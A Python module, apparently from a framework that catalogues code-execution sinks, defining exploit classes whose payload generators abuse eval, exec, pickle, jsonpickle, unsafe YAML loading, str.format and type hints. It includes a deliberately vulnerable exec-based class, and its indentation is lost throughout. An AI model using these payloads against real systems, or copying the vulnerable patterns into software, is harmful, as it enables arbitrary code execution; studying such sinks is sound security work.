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import builtins
import base64
import jsonpickle
import pickle
import subprocess
import typing
from pathlib import Path
from typing import Callable, List, get_type_hints
import importlib
import tempfile
import yaml
import textwrap
import code
from test import support
import _testcapi
import _xxsubinterpreters
from .execution_base import Exploit
class PythonExploit(Exploit):
pass
class SimplePythonExploit(PythonExploit):
category_name = "Simple Python Code Execution"
def generate_payload(source_code: str) -> str:
return source_code
class InterpreterRunSourceExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveInterpreter.runsource
def run_payload(payload: str) -> None:
inperpreter = code.InteractiveInterpreter()
inperpreter.runsource(payload)
class InterpreterRunCodeExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveInterpreter.runcode
def run_payload(payload: str) -> None:
inperpreter = code.InteractiveInterpreter()
inperpreter.runcode(code.compile_command(payload))
class ConsolePushExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveConsole.push
def run_payload(payload: str) -> None:
console = code.InteractiveConsole()
console.push(payload)
class TestSubinterpreterExploit(SimplePythonExploit):
vulnerable_function = support.run_in_subinterp
def run_payload(payload: str) -> None:
support.run_in_subinterp(payload)
class TestCAPISubinterpreterExploit(SimplePythonExploit):
vulnerable_function = _testcapi.run_in_subinterp
def run_payload(payload: str) -> None:
_testcapi.run_in_subinterp(payload)
class XXSubinterpreterExploit(SimplePythonExploit):
vulnerable_function = _xxsubinterpreters.run_string
def run_payload(payload: str) -> None:
_xxsubinterpreters.run_string(_xxsubinterpreters.create(), payload)
class EvalExploit(SimplePythonExploit):
vulnerable_function = builtins.eval
def run_payload(payload: str) -> None:
eval(payload)
class ExecExploit(SimplePythonExploit):
vulnerable_function = builtins.exec
def run_payload(payload: str) -> None:
exec(payload)
class InputExploit(SimplePythonExploit):
vulnerable_function = builtins.input
notes = "'input' is only vulnerable in Python 2"
def generate_payload(source_code: str) -> str:
return f"__import__('code').InteractiveInterpreter().runsource('''{source_code}''')"
def run_payload(payload: str) -> None:
with tempfile.TemporaryDirectory() as directory:
python_file = Path(directory) / "hello_world.py"
python_file.write_text(textwrap.dedent("""
print("What is your name?")
name = input()
print("Hello " + name)
"""))
program = subprocess.Popen(['python2', str(python_file)], stdin=subprocess.PIPE, text=True)
program.communicate(input=payload, timeout=1)
class SimpleVMExploit(SimplePythonExploit):
vulnerable_function = "object.__call__"
def generate_payload(source_code: str) -> List[str]:
return ["builtins.eval", source_code]
def run_payload(fully_qualified_function: str, argument: str) -> None:
module_name, _, function_name = fully_qualified_function.rpartition(".")
module = importlib.import_module(module_name)
function = getattr(module, function_name)
function(argument)
class PickleLoadsExploit(SimplePythonExploit):
vulnerable_function = pickle.loads
source = (
"https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html"
)
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return base64.b64encode(pickle.dumps(Exploit()))
def run_payload(payload: str) -> None:
payload = base64.b64decode(payload)
obj = pickle.loads(payload)
class YamlLoadsExploit(SimplePythonExploit):
vulnerable_function = yaml.load
source = (
"https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html"
)
notes = (
"'load' without an explicit loader has been deperecated since 2020, "
+ "and now requires 'UnsafeLoader' for the exploit to work: "
+ "https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"
)
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return yaml.dump(Exploit())
def run_payload(payload: str) -> None:
yaml.load(payload, Loader=yaml.UnsafeLoader)
class JSONPickleLoadsExploit(SimplePythonExploit):
vulnerable_function = jsonpickle.decode
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return jsonpickle.encode(Exploit())
def run_payload(payload: str) -> None:
obj = jsonpickle.decode(payload)
class StringFormatExploit(SimplePythonExploit):
vulnerable_function = "str.format"
def generate_payload(source_code: str) -> str:
encoded_source_code = "".join(["\\" + hex(ord(c))[1:] for c in source_code])
return f"{{event.__init__.__globals__[record].exec(b'{encoded_source_code}')_send_command}}"
def run_payload(payload: str) -> None:
"""Note that this exploit is enabled by the following code at the global scope:
class DatabaseRecord:
def cached(self, attribute):
pass
def from_database(self, attribute):
pass
def send_command(self, command):
exec(command)
def __getattr__(self, key):
print(key)
attr_name, state = key.split("_", 1)
return getattr(self, state)(attr_name)
record = DatabaseRecord()
"""
class SomeObject(object):
def __init__(self, value):
self.value = value
payload.format(event=SomeObject(1))
class DatabaseRecord:
def cached(self, attribute):
pass
def from_database(self, attribute):
pass
def send_command(self, command):
exec(command)
def __getattr__(self, key):
print(key)
attr_name, state = key.split("_", 1)
return getattr(self, state)(attr_name)
record = DatabaseRecord()
class TypeHintExploit(SimplePythonExploit):
vulnerable_function = typing.get_type_hints
def run_payload(payload: str) -> None:
class C:
member: int = 0
C.__annotations__["member"] = payload
get_type_hints(C)